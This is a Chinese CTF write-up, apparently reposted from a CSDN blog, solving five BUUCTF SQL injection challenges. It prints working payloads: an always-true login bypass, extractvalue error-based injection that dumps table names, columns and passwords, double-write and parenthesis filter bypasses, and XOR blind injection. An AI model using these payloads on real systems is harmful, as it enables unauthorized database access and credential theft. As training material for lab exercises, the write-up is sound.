ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

(wp)ctfweb-sql注入极客大挑战

2021-07-12 22:30:52  阅读:245  来源: 互联网

标签:极客 name extractvalue wp sql table id concat schema



(wp)ctfweb-sql注入极客大挑战

我的blog,欢迎来玩
buuctf极客大挑战系列 sql注入

NO.1 EasySQL

题目如图:

easysql1

先尝试 万能密码

' or 1=1 #

结果一步得出答案…

easysql2

NO.2 LoveSQL

题目同上,没变化

尝试万能密码,找不到有效信息

love1

尝试报错注入,寻找其他库/表:

1'and extractvalue(1,concat('~',database()))#

顺利得到库名 geek

love2

尝试爆表名:

1'and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema="geek")))#

显示 结果超过一行(Subquery returns more than 1 row),添加 group_connat() 函数解决。

所以,输入

1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema="geek")))#

得到表名 geekuser,l0ve1ysq1

love3

尝试查列名,目测是第二个

1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1")))#

得到列名 id,username,password

love4

尝试获取信息

1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=1)))#
love5

又查了几个id 全是废话,直接爆破吧

love6 love7

爆破得出 id=16处有flag没显示全

前半段

1'and extractvalue(1,concat('~',(select concat_ws('~',id,username,password) from l0ve1ysq1 where id=16)))#

后半段

1'and extractvalue(1,concat('~',(select substr(password,15,30) from l0ve1ysq1 where id=16)))#
love8 love9

得 flag{fd752c8f-8f92-4b6f-93fa-0f99791741f0}

NO.3 BabySQL

老方法 万能密码走一遍,果然不行~

选择做FUZZ模糊测试

baby1

不难发现 len 726长度都被过滤成空’’ 所以显示没有输入,

而len 751都没有被过滤,

这种过滤比较简单,所以直接考虑 双写绕过

通过报错注入

1'oorr extractvalue(1,concat(0x7e,database()))#

得到库名 geek

baby2

继续爆表名

 **1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(table_name)frfromom infoorrmation_schema.tables whwhereere table_schema="geek")))#**     

得到表名 b4bsql,geekuser

baby3

继续爆列名

1'oorr extractvalue(1,concat(0x7e,(seselectlect group_concat(column_name)frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql")))#

得到列名 id,username,password

baby4

查询数据

1'oorr extractvalue(1,concat(0x7e,(seselectlect concat_ws(0x7e,id,username,passwoorrd)frfromom b4bsql whwhereere id=1)))#

同上,又是一堆废话,直接爆破,得到id=8时有flag

剩下步骤同上一题

baby5

后半部分

1'oorr extractvalue(1,concat(0x7e,(seselectlect subsubstrstr(passwoorrd,15,30)frfromom b4bsql whwhereere id=8)))#
baby6

得flag{50ba0844-d76f-4a9a-892f-bc7694528c7e}

NO.4 HardSQL

万能密码走一下,失败

hard1

直接做FUZZ模糊测试

hard2

如图,len 736都被屏蔽了

len 751没被屏蔽,另外空格在实际输入中也被屏蔽了,所以空格用括号代替。

尝试报错注入**1’or(extractvalue(1,concat(0x7e,database())))#

顺利得到库名 geek

图同上,略

尝试爆表名

1'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where((table_schema)like("geek"))))))#
hard3

得到表名 H4rDsq1

尝试爆列名

1'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like("H4rDsq1"))))))#

得 id,username,password

hard4

查找信息

1'or(extractvalue(1,concat(0x7e,(select(password)from(H4rDsq1)where((id)like(1))))))#

得flag前半段

hard5

查后半段

1'or(extractvalue(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)where((id)like(1))))))#
hard6

flag{7725665e-c9b1-4558-b610-12bcccca00ce}

NO.5 FinalSQL

根据界面提示 本题可能为sql盲注

所以先做FUZZ测试

fin1

可以发现,大部分语句被屏蔽,选择盲注。而点击1时,发现

fin2

而输入7时

fin3

输入更大的超范围数同理,发现注入点

用FUZZ测试,个别未被屏蔽,但报错信息被屏蔽

最后我选择用异或^注入进行盲注:

1^(sql注入判断语句)

如果显示(NO!),说明id=1,进一步说明sql判断语句为 假

如果显示(ERROR!!!),说明id=0,进一步说明sql判断语句为 真

写一个py跑

fin4

同理将 datebase()替换为

(select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek'))

再跑

再换为

(select(group_concat(column_name))from(information_schema.columns)where(table_name)='F1naI1y')

再跑

再换

(select(group_concat(passVord))from(F1naI1y))

再跑

fin8

得出flag

总结

写了一下午,当然,总结出一些sql相关的东西

1.页面上有显示位时,用联合注入 union;页面上没有显示位,但是有SQL语句执行错误信息输出时用报错注入

2.联合查询 先判断整型还是字符型,order by查列数,获取库名,获取表名,获取字段名,获取数据

3.报错注入不用查列数,直接通过extractvalue函数报错查信息

4.当有绕过时,进行模糊测试,考虑是否为 双写绕过或空格绕过

5.若都不是,找可注入点进行盲注,一般这种题都会有可注入点让我们下手。盲注写py暴力破解即可。


END

标签:极客,name,extractvalue,wp,sql,table,id,concat,schema
来源: https://blog.csdn.net/qq_51862722/article/details/118685205

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有